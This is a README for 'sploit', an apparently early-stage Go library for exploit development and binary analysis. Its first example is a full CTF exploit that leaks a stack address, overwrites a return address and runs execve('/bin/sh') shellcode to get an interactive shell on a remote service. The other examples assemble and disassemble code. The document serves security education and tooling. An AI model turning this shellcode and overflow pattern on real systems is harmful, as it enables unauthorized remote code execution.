sploit

Sploit is a Go package that aids in binary analysis and exploitation. The motivating factor behind the development of sploit is to be able to have a well designed API with functionality that rivals some of the more common Python exploit development frameworks while taking advantage of the Go programming language. Excellent cross-compiler support, goroutines, powerful crypto libraries, and static typing are just a few of the reasons for choosing Go.

This project is inspired by pwntools and other awesome projects. It is still early in development. Expect for this project to be focused heavily on shellcoding, binary patching, ROP stack construction, and general binary analysis.

Solution for a CTF Challenge

package main;

import(
    sp "github.com/zznop/sploit"
)

var arch = &sp.Processor {
    Architecture: sp.ArchI386,
    Endian: sp.LittleEndian,
}

var scInstrs = `mov al, 0xb   /* __NR_execve */
                sub esp, 0x30 /* Get pointer to /bin/sh (see below) */
                mov ebx, esp  /* filename (/bin/sh) */
                xor ecx, ecx  /* argv (NULL) */
                xor edx, edx  /* envp (NULL) */
                int 0x80`

func main() {
    shellcode, _ := sp.Asm(arch, scInstrs)
    r, _ := sp.NewRemote("tcp", "some.pwnable.on.the.interwebz:10800")
    defer r.Close()
    r.RecvUntil([]byte("HELLO:"), true)

    // Leak a stack address
    r.Send(append([]byte("/bin/sh\x00AAAAAAAAAAAA"), sp.PackUint32LE(0x08048087)...))
    resp, _ := r.RecvN(20)
    leakAddr := sp.UnpackUint32LE(resp[0:4])

    // Pop a shell
    junk := make([]byte, 20-len(shellcode))
    junk = append(junk, sp.PackUint32LE(leakAddr-4)...)
    r.Send(append(shellcode, junk...))
    r.Interactive()
}

Compiling Assembly to Machine Code

package main;

import(
    "github.com/zznop/sploit"
    "encoding/hex"
    "fmt"
)

func main() {
    instrs := "mov rcx, r12\n"              +
              "mov rdx, r13\n"              +
              "mov r8, 0x1f\n"              +
              "xor r9, r9\n"                +
              "sub rsp, 0x8\n"              +
              "mov qword [rsp+0x20], rax\n"

    arch := &sploit.Processor {
        Architecture: sploit.ArchX8664,
        Endian: sploit.LittleEndian,
    }

    opcode, _ := sploit.Asm(arch, instrs)
    fmt.Printf("Opcode bytes:\n%s\n", hex.Dump(opcode))
}

$ ./assemble_example
Opcode bytes:

Disassembling Code in an ELF Executable

package main;

import(
    "github.com/zznop/sploit"
    "fmt"
)

var program = "../test/prog1.x86_64"

func main() {
    elf, _ := sploit.NewELF(program)
    vaddr := uint64(0x1135)
    count := 34
    fmt.Printf("Disassembling %v bytes at vaddr:%08x\n", count, vaddr)
    disasm, _ := elf.Disasm(vaddr, count)
    fmt.Print(disasm)
}

$ ./disassemble_example

Dependencies

Some of Sploit's functionality relies on external dependencies. For instance, Sploit uses GCC's GAS assembler to compile assembly code and capstone to disassemble compiled code as part of the API exposed by asm.go.

Install capstone:

git clone https://github.com/aquynh/capstone.git --branch 4.0.2 --single-branch
cd capstone
make
sudo make install

Install GCC cross-compilers. The following commands assume you are running Debian or Ubuntu on a Intel workstation and may need changed if running another Linux distro:

sudo apt install gcc gcc-arm-linux-gnueabi gcc-aarch64-linux-gnu gcc-mips-linux-gnu \
  gcc-mipsel-linux-gnu gcc-powerpc-linux-gnu
